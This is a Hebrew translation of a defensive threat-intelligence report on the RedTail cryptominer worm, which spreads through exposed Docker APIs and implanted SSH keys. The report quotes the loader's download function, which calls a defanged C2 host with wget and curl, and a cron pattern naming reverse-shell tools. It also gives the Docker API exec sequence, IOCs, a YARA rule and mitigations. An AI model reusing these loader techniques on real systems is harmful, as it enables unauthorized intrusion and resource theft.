עמוד זה הוא תרגום. הגרסה האנגלית היא הנוסח המחייב. לקריאה באנגלית
malware · cryptomining · redtail · docker · linux · honeypot · worm
בתוך מבצע RedTail: התפשטות עצמית דרך ממשקי Docker API חשופים
מלכודות הדבש של Kinryū Labs תפסו את כורה המטבעות RedTail מתפשט דרך ממשקי Docker Engine API ללא אימות ודרך מפתחות SSH מושתלים. הדוח מתעד מופע עדכני שנלכד במלואו, לרבות הלודר, סקריפט הסרת המתחרים, הכורה והאינדיקטורים החיים.
מאת Davis Zheng·
TLP:CLEAR. מאושר לפרסום פומבי. נלכד על ידי מערך חיישני מלכודות הדבש של Kinryū Labs. האינדיקטורים שלהלן מנוטרלים.
תקציר מנהלים
- 2375Docker API חשוף, נתיב הכניסה
- 4ארכיטקטורות מעבד שנתקפו
- ~21sמשך הפריצה המלאה של התוקף
- מתפשט כתולעתלקוח SSH מובנה בתוך הכורה
בתחילת יוני 2026 ועד אמצעו לכדה רשת מלכודות הדבש שלנו תולעת המתפשטת דרך ממשקי Docker Engine API החשופים לאינטרנט ב-TCP/2375 ומשתילה את RedTail, כורה Monero מבוסס XMRig הפעיל מאז סוף 2023. התוקף מונה את הקונטיינרים הפעילים דרך ה-Docker API הפתוח, מריץ פקודות בתוך כל אחד מהם, משתיל מפתח SSH פרטי לצורך שרידות ותנועה רוחבית, ואז מושך לודר רב-ארכיטקטורה. הלודר מתקין כורה הנושא עמו לקוח SSH משלו לצורך התפשטות וכן רכיב רחרוח מבוסס libpcap לאיתור מטרות חדשות.
המטען הוא RedTail ללא ספק. RedTail מוכר בעיקר בהגעתו דרך ניצול חולשות ביישומי ווב (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), וגם לשימושו בממשקי Docker API חשופים יש דיווח קודם. הדוח הזה מוסיף מופע עדכני שנלכד במלואו של אותה הפצה דרך ה-Docker API: ה-C2 והאינדיקטורים החיים, השתלת מפתח ה-SSH המאפשרת למארח לשכפל את עצמו, וסקריפט הסרת המתחרים שדוחות קודמים הצביעו עליו בלי לשחזר אותו.
הכורה נושא תצורת ריצה מוצפנת וללא ארנק מוטמע, ולכן לא ניתן לחלץ מהדגימה כתובת Monero. שחזורה מחייב הרצה חיה עם לכידת תעבורה.
- המטען הוא RedTail (ודאות גבוהה). המחרוזת
libredtail evbuffer_tls, הממצא.redtail, ברירת המחדלredtailבלודר, והבנייה עם תצורה מוצפנת וללא ארנק, כולם תואמים לגרסאות המשפחה שלאחר 2024. - המבצע בעל יכולת התפשטות כתולעת (ודאות גבוהה). הכלים מול ה-Docker API, המפתח המושתל ולקוח ה-SSH המובנה בכורה הם כל מה שמארח שזה עתה נדבק זקוק לו כדי לאתר בעצמו את הקורבן הבא.
- המפעיל פועל למטרות רווח (ודאות בינונית). גניבת אישורי הגישה והרחרוח נראים כמשרתים את ההתפשטות ולא מטרה נפרדת של גניבת מידע.
- לווקטור ה-Docker API יש דיווח קודם בהקשר של RedTail והוא עדיין עובד היטב. סוקט חשוף יחיד ב-TCP/2375 מעניק לתוקף הרצת קוד כ-root בתוך כל קונטיינר במארח.
שרשרת התקיפה
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp dlr@217.60.195[.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
שלב 1: גישה ראשונית דרך ה-Docker API
התוקף מכוון למופעי Docker Engine החושפים את ה-REST API ללא אימות ב-TCP/2375. הרצף המלא של התוקף ארך כ-21 שניות:
GET /versionו-GET /containers/jsonלטביעת אצבע של המנוע ולמניית הקונטיינרים.POST /containers/{id}/execולאחריוPOST /exec/{id}/startמול כל קונטיינר פעיל.- מטען shell בתוך הקונטיינר הכותב את מפתח ה-SSH של התוקף ומושך את הלודר.
השלב האחרון הוא זה שהופך את זה מכורה חד-פעמי לתולעת. מארח שנדבק ואשר במקרה חושף את ה-Docker API שלו עצמו יריץ את אותה שגרת מנייה והרצה מול קבוצת הקורבנות הבאה.
מפתח ה-SSH המושתל (שרידות ותנועה רוחבית)
| מאפיין | ערך |
|---|---|
| סוג | מפתח פרטי OpenSSH ed25519 |
| הערה | dlr@sftp |
| טביעת אצבע SHA256 של המפתח הציבורי | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| מקור המשיכה (ערוץ SCP) | dlr@217.60.195[.]113 |
איננו מפרסמים את המפתח הפרטי. השתמשו בטביעת האצבע שלמעלה כדי לצוד אותו: בדקו את
authorized_keysואת~/.sshבכל המערך.
שלב 2: הלודר /sh
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
סוג: סקריפט shell תקני POSIX
לודר קטן ונייד, ומוקפד.
שם קובץ מוסתר אקראי. הפונקציה get_random_string() מרכיבה שם אלפאנומרי באורך 4 עד 35 תווים, מנסה תחילה /dev/urandom, אחר כך openssl, ואז $RANDOM, ונסוגה למחרוזת המילולית redtail אם כל אלה נכשלים. ברירת מחדל זו היא סימן זיהוי נוח למשפחה. הכורה נוחת בשם .<random> עם נקודה מובילה כדי להישאר מחוץ ל-ls רגיל. ב-VirusTotal הדגימה מופיעה תחת אחד מהשמות האלה, .mn6VTucEsFZY1PdSC2QAq.
פונקציית עזר להורדה. dlr() מכבה אימות TLS, מכיוון שה-C2 חתום עצמית, ונסוגה מ-wget אל curl:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
היערכות מודעת ל-noexec. הלודר קורא את /proc/mounts, פוסל כל עיגון noexec, ומריץ find / -user $(whoami) -perm -u=rwx כדי למצוא מקום שבו יוכל גם לכתוב וגם להריץ. הוא בודק כתיבה בכל מועמד באמצעות dd או truncate בגודל 2 MB לפני השימוש, וזו טרחה גדולה יותר ממה שרוב הלודרים משקיעים: הגישה הרווחת היא לכתוב אל /tmp ולקוות לטוב.
ניקוי מתחרים. הוא מושך ומריץ את clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), ואז מוחק אותו. גם את הסקריפט הזה השגנו, והוא מפורק להלן. הוא פוגע במנגנוני שרידות והיערכות של יריבים ומותיר את התהליכים הרצים בשקט.
סידור אחריו. הוא מוחק את .redtail ואת קובץ .<random> הקודם לפני התקנת החדש.
בחירת ארכיטקטורה. מתג uname -mp בוחר את הבנייה:
| התאמת ARCH | מוריד |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| לא מזוהה | מנסה את כל הארבעה בכוח גס ומריץ כל אחד |
הרצה. ./.<random> $1, תוך העברת ה-$1 המקורי של הלודר, ש-RedTail מתייחס אליו כאל תג מבצע או תג ווקטור.
סקריפט הסרת המתחרים clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
סוג: סקריפט Bash (795 בתים)
לכדנו את clean בפגיעה מאוחרת יותר במלכודות הדבש. כל תפקידו הוא לפנות מהמכונה נוזקות אחרות כדי ש-RedTail יקבל אותה לעצמו:
-
ניקוי cron. עבור כל crontab של משתמש (
/var/spool/cron/crontabs/*), crontab מערכתי (/etc/crontab,/etc/crontabs), ספריית drop-in (/etc/cron.{hourly,daily,weekly,monthly,d}) ו-/etc/anacrontab, הוא מסיר את סיבית ה-immutable באמצעותchattr -ia(נוזקות יריבות מגדירות אותה כדי להגן על שורות ה-cron שלהן) ואז מוחק כל שורה התואמת לתבנית של הדבקה חוזרת:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dזה שולף את מנגנוני ההורדה וה-reverse shells של קבוצות אחרות ומשאיר את רשומות ה-cron הלגיטימיות במקומן.
-
חיסול יריב נקוב בשם. הוא מנטרל ועוצר את שירות ה-systemd בשם
c3pool_miner, ירייה ישירה לעבר כורה c3pool. -
מחיקת אזורי היערכות. הוא מרוקן את
/tmp,/var/tmpו-/dev/shmבאמצעותrm -rf, ומפנה מטענים של מתחרים ואת שטח העבודה המשותף להם.
הדילוג על התהליכים הרצים הוא פשרה. חיסול המוני מפנה את המעבד מיד אך הוא בדיוק סוג האירוע שמארח מנוטר מתריע עליו, ואילו הסרת שורות ה-cron וריקון ספריות ההיערכות מוחקים את מנגנון ההדבקה החוזרת של היריב, כך שהפינוי מחזיק מעמד גם אחרי האתחול שאחרת היה מבטל אותו.
שלב 3: כורה RedTail (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
גודל: 1,880,264 בתים (1.79 MB)
פורמט: ELF 64-bit LSB EXEC (מקושר סטטית, non-PIE), x86-64, נקודת כניסה 0xaa9e18
אורז: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 זדוני, ציון קהילה −60, נצפה לראשונה ~2026-06-05
תוויות איום: trojan.usblem26/abminer; משפחות usblem26 / abminer / gen3
אריזה ואנטי-ניתוח
- UPX 5.02 עם כותרת שלמה.
upx -dפורק אותו בנקל ל-ELF מקושר סטטית בגודל כ-5 MB. - הרצה ללא קובץ. תובנות הקוד של VirusTotal מראות שימוש ב-
memfd_create(קריאת מערכת0x13f) להרצת המטען היישר מתוך מתאר קובץ אנונימי בזיכרון, לצד הרצה מחדש של/proc/self/exeוהיערכות ב-/dev/shm. דבר אינו נוגע בדיסק, ולכן אנטי-וירוס מבוסס דיסק לעולם אינו מקבל הזדמנות. - זיוף שם תהליך (
sets-process-name) כדי להתמזג עם תהליכים רגילים. - התחמקות מדיבאגר (
detect-debug-environment). דוחות פומביים על RedTail מתארים ניפוי עצמי באמצעותptraceוהריגה אקטיבית של GDB על ידי הבינארי. - הערה בנוגע לאנטי-וירוס במארח. Microsoft Defender מסמן את ה-ELF הארוז כ-
Trojan:Linux/Multiverze!rfnוחוסם את קריאתו מהדיסק, ולכן טריאז’ סטטי חייב להתבצע במכונה מבודדת או בזיכרון.
רכיבים מאומתים (מתוך מחרוזות .rodata לאחר פריקת האריזה)
ליבת הכרייה של XMRig
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail, מחסנית התקשורת המגדירה את המשפחה
libredtail evbuffer_tls
Connection keepalive User-Agent
libevent מותאם בתוספת לקוח HTTP עם TLS. המחרוזת libredtail evbuffer_tls היא מה שמבדיל בין RedTail לבין בניית XMRig סטנדרטית.
לקוח SSH מוטמע (תנועה רוחבית וגניבת אישורים)
ssh-userauth ssh-ed25519 sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
הכורה נושא לקוח SSH שלם. זהו המנוע שמאחורי השתלת מפתח dlr@sftp ומאחורי ההתפשטות. הבינארי של הכורה מטפל בעצמו בגניבת האישורים ובהתפשטות ה-SSH. שום חלק מזה אינו שוכן בדרופר.
libpcap מוטמע (רחרוח רשת)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
לכידת חבילות במארח, דבר המתיישב עם גילוי מקומי של מארחים ואישורי גישה.
טבלאות קידוד. מופיעים גם האלפבית הסטנדרטי של Base64 וגם הווריאנט הבטוח ל-URL (...+/ ו-...-_), המשמשים את שגרת פענוח התצורה.
התצורה ופער הייחוס
חיפשנו בבינארי הפרוק ביסודיות כתובות IP, כתובות URL, stratum, pool ותבניות של כתובות Monero. ה-pools היחידים הקיימים בו הם ה-pools המובנים לתרומות המפתחים של XMRig (donate.ssl.xmrig.com, donate.v2.xmrig.com), שכל בניית XMRig נושאת ושאינם בשליטת המפעיל. אין בטקסט גלוי pool, proxy או ארנק של התוקף.
זה מכוון, וזה תואם לכיוון שאליו הלך RedTail מאז 2024. תצורת הכרייה מוצפנת ומפוענחת רק בזיכרון בזמן ריצה, ובניות עדכניות אינן נושאות ארנק כלל, מה שמצביע על pool פרטי או על pool-proxy במקומו. לכן:
- איננו יכולים לחלץ ארנק Monero מהדגימה הזו.
- ה-pool-proxy יתגלה רק בהרצה חיה עם סינק רשת (ראו מתודולוגיה).
ייחוס
זהו RedTail, המוכר גם ככורה .redtail, כורה Monero נגזר XMRig שתועד לראשונה סביב סוף 2023 ותחילת 2024. מה שמתיישב:
- המחרוזת
libredtail evbuffer_tls, הייחודית לו. - הממצא
.redtailוברירת המחדלredtailבלודר. - הבנייה עם תצורה מוצפנת וללא ארנק, הלודר הרב-ארכיטקטורי, סקריפט המתחרים
cleanוגניבת אישורי הגישה ב-SSH, שכולם מאפיינים ידועים של RedTail.
לשם השוואה, ווקטורי ההפצה המתועדים כבר עבור המשפחה הם CVE-2024-3400 (PAN-OS), CVE-2023-46805 ו-CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) ו-CVE-2023-1389 (TP-Link). VirusTotal מתייג את הדגימה הזו גם ב-CVE-2021-41773 (מעבר נתיבים ל-RCE ב-Apache 2.4.49/2.4.50) וב-CVE-2015-2808 (RC4, “Bar Mitzvah”).
לשימושו של RedTail בממשקי Docker API חשופים יש דיווח קודם, ולכן הווקטור עצמו ישן. מה שהיה דל באותו דיווח קודם הוא אמצע השרשרת, ושם בדיוק ממוקמת הלכידה הזו: סקריפט clean ששוחזר ולא הוסק, ה-C2 וגיבובי המטען שהיו חיים בעת האיסוף, ומפתח dlr@sftp המושתל שסוגר את המעגל חזרה לשלב 1.
מבט קדימה
קבוצות קריפטוג’קינג מחליפות את דרך הפריצה שלהן הרבה יותר מאשר את המטען, והלודר המודולרי של RedTail מקל על החלפת שיטת כניסה אחת באחרת. Docker API פתוח הוא החלפה זולה לביצוע. אין אקספלויט לתחזק ואין מרוץ מול מחזורי טלאים, הגישה שהוא מעניק היא root בתוך כל קונטיינר במכונה, והיצע פורט 2375 החשוף לאינטרנט לא אזל. RedTail כבר היה כאן קודם.
אנו סבורים שסביר שהמפעיל ישמר את ווקטור ה-Docker API לצד ניצול חולשות הווב ולא יחליף ביניהם, מה שפשוט מעניק לו יותר מארחים נגישים. אם אתם מפעילים קונטיינרים, התייחסו ל-Docker API חשוף כאילו הוא יושב על האינטרנט הפומבי, כי למעשה כך הוא.
אינדיקטורים לפריצה
רשת
| אינדיקטור | הקשר |
|---|---|
14.46.136[.]77 | מארח C2 / מטענים (HTTPS, חתום עצמית). מגיש את /sh, /clean, /x86_64, /i686, /aarch64, /arm7. מסנן תעבורה יוצאת של ספקי ענן לפי ASN. |
hxxps://14.46.136[.]77/sh | כתובת הלודר של שלב 2 |
hxxps://14.46.136[.]77/clean | סקריפט הסרת המתחרים (מחיקת cron / אזורי היערכות) |
217.60.195[.]113 | מקור המפתח / המטען ב-SCP (dlr@217.60.195[.]113) |
קבצים (SHA256 / MD5)
| קובץ | SHA256 | MD5 |
|---|---|---|
sh (לודר) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (מחיקת מתחרים) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (כורה) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
ממצאים במארח
| אינדיקטור | הקשר |
|---|---|
.redtail | ממצא של הכורה / סמן להדבקה קודמת |
.<random alnum> לדוגמה .mn6VTucEsFZY1PdSC2QAq | שם קובץ מוסתר של הכורה (נקודה מובילה + אקראי) |
הערת מפתח SSH dlr@sftp | המפתח המושתל |
טביעת אצבע של מפתח ציבורי SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | טביעת האצבע של המפתח המושתל; צודו אותה ב-authorized_keys |
קבצים שהוצבו ב-/dev/shm, /var/tmp, /tmp, או בכל ספריית rwx הניתנת לכתיבה על ידי המשתמש | מיקומי היערכות |
התנהגותי
memfd_create(קריאת מערכת0x13f) המריצה ELF ממתאר קובץ אנונימי.- תהליך הקורא את
/proc/mountsולאחר מכן מריץfind / -perm -u=rwx(היערכות מודעת ל-noexec). - זיוף שם תהליך; התחמקות מדיבאגר מבוססת
ptrace. - תעבורה יוצאת
stratum+tcp:///stratum+ssl://אל מארח לא סטנדרטי. systemctl disable c3pool_minerו-systemctl stop c3pool_miner(פינוי מתחרה).chattr -iaמול נתיבי crontab ומיד אחריו מחיקה המונית של שורותwget/curl/ reverse shell מתוך cron.rm -rfשל/tmp/*,/var/tmp/*ו-/dev/shm/*(מחיקת אזורי ההיערכות של המתחרים).
זיהוי
זיהוי במארח (לוגיקת תהליכים / EDR)
התריעו על תהליך אשר, ברצף:
- קורא את
/proc/mounts, ואז מריץfind / ... -perm -u=rwx ..., וגם - כותב קובץ בעל שם אקראי עם נקודה מובילה לספרייה הניתנת לכתיבה לכול, וגם
- קורא ל-
memfd_createולאחריו מריץ מתוך מתאר הקובץ שהתקבל.
כל אחד מאלה בנפרד הוא סימן חלש. שלושתם יחד הם אות חזק ללודר הזה.
חתימת YARA מוצעת (בינארי לאחר פריקה)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
הכלל הזה מתאים לבינארי לאחר פריקת UPX. עבור הדגימה הארוזה, הסתמכו על חתימת UPX, על גודל הקובץ (~1.79 MB) ועל גיבובי ה-VirusTotal שלמעלה.
זיהוי ברשת
- חסמו והתריעו על תעבורה יוצאת אל
14.46.136[.]77ואל217.60.195[.]113. - התריעו על
stratum+tcp/stratum+sslאל כל יעד שאינו ברשימת ההיתר. - התריעו על בקשות GET ב-HTTP(S) לנתיבים בני אות בודדת או על שם ארכיטקטורה (
/sh,/x86_64,/aarch64,/arm7).
צעדי מיגון
- אל תחשפו את ה-Docker API (2375/2376) לרשתות לא מהימנות. קשרו אותו ל-localhost או לסוקט מוגן ודרשו אימות באמצעות תעודת לקוח TLS. בקרה אחת זו שוברת את שלב הגישה הראשונית כליל.
- בדקו את
~/.ssh/authorized_keysבכל המערך לאיתור מפתחdlr@sftpוטביעת האצבע שלו. - סננו תעבורה יוצאת ונטרו אחר תעבורת stratum ואחר כתובות ה-C2 שלמעלה.
- עגנו את
/tmp,/var/tmpו-/dev/shmעםnoexecהיכן שניתן. זה מעלה את הרף, אם כי הלודר הזה מודע ל-noexec ויחפש ספרייה אחרת הניתנת לכתיבה ולהרצה. - הקשיחו קונטיינרים: הסירו יכולות שאינכם זקוקים להן, השתמשו במערכות קבצים שורש לקריאה בלבד, והריצו בהרשאות מינימליות כך ש-
execפנימה לא יעניק לתוקף סביבת הרצה שמישה.
מיפוי MITRE ATT&CK
| טקטיקה | טכניקה |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (כריית מטבעות) |
מתודולוגיה והערות אנליסט
- משכנו את שלב 2 ואת שלב 3 מה-C2 החי דרך HTTPS. הכתובת
14.46.136[.]77מגיעה ל-timeout עבור מרחבי כתובות של ספקי ענן גדולים אך מגישה תוכן לטווחים ביתיים, כלומר מסנן ASN או מסנן גאוגרפי על תעבורה יוצאת ששובר ארגזי חול אוטומטיים בענן. - ה-ELF הארוז מפעיל את Microsoft Defender (
Trojan:Linux/Multiverze!rfn) ואף אינו ניתן לקריאה מהדיסק במארח Windows מוגן, ולכן הטריאז’ הראשוני התבצע בזיכרון, תוך פריקת הארכיון בתוך תהליך Python מבלי לכתוב אי פעם את ה-ELF הגולמי החוצה. - פריקת האריזה נעשתה באמצעות
upx -dבתוך FLARE-VM מבודדת. ניתחנו את הבינארי הפרוק סטטית, לפי מחרוזות ומבנה, מבלי להריץ אותו. - לא הרצנו את הכורה, ולכן ה-pool-proxy ותצורת ה-Monero המפוענחים בזמן ריצה אינם בדוח הזה.
- שחזרנו את המפתח הפרטי של התוקף מתוך הלכידה ואיננו מפרסמים אותו. רק טביעת האצבע של המפתח הציבורי (שלמעלה) מופיעה באינדיקטורים, וזה מה שמגנים זקוקים לו כדי לצוד את מפתח
dlr@sftpהמושתל ב-authorized_keys.
המשך מומלץ (להשגת האינדיקטור של ה-pool-proxy)
כדי להשיג את ה-pool-proxy, הריצו את הבינארי הפרוק על מכונת Linux מבודדת (REMnux מתאימה) עם:
- סינק רשת (INetSim, או
fakednsבתוספת TCP catch-all) כדי למשוך את החיבור החוצה, tcpdump -i any -w redtail.pcapכדי ללכוד את ה-CONNECT וההתחברות ב-stratum, וכןstrace -fכדי לתפוס את התצורה הגלויה שהכורה מפענח ממש לפני ה-connect()הראשון שלו, שלרוב קריאה גם כאשר TLS מסתיר אותה על גבי הקו.
המארח והפורט הללו הם האינדיקטור האחרון שעדיין חסר במבצע הזה.
דגימות
הדגימות (הלודר, סקריפט clean והכורה הארוז) זמינות לחוקרים ולמגנים אחרים לפי בקשה. שלחו דוא”ל אל contact@kinryu.sh עם הערה קצרה על זהותכם ועל מטרת השימוש.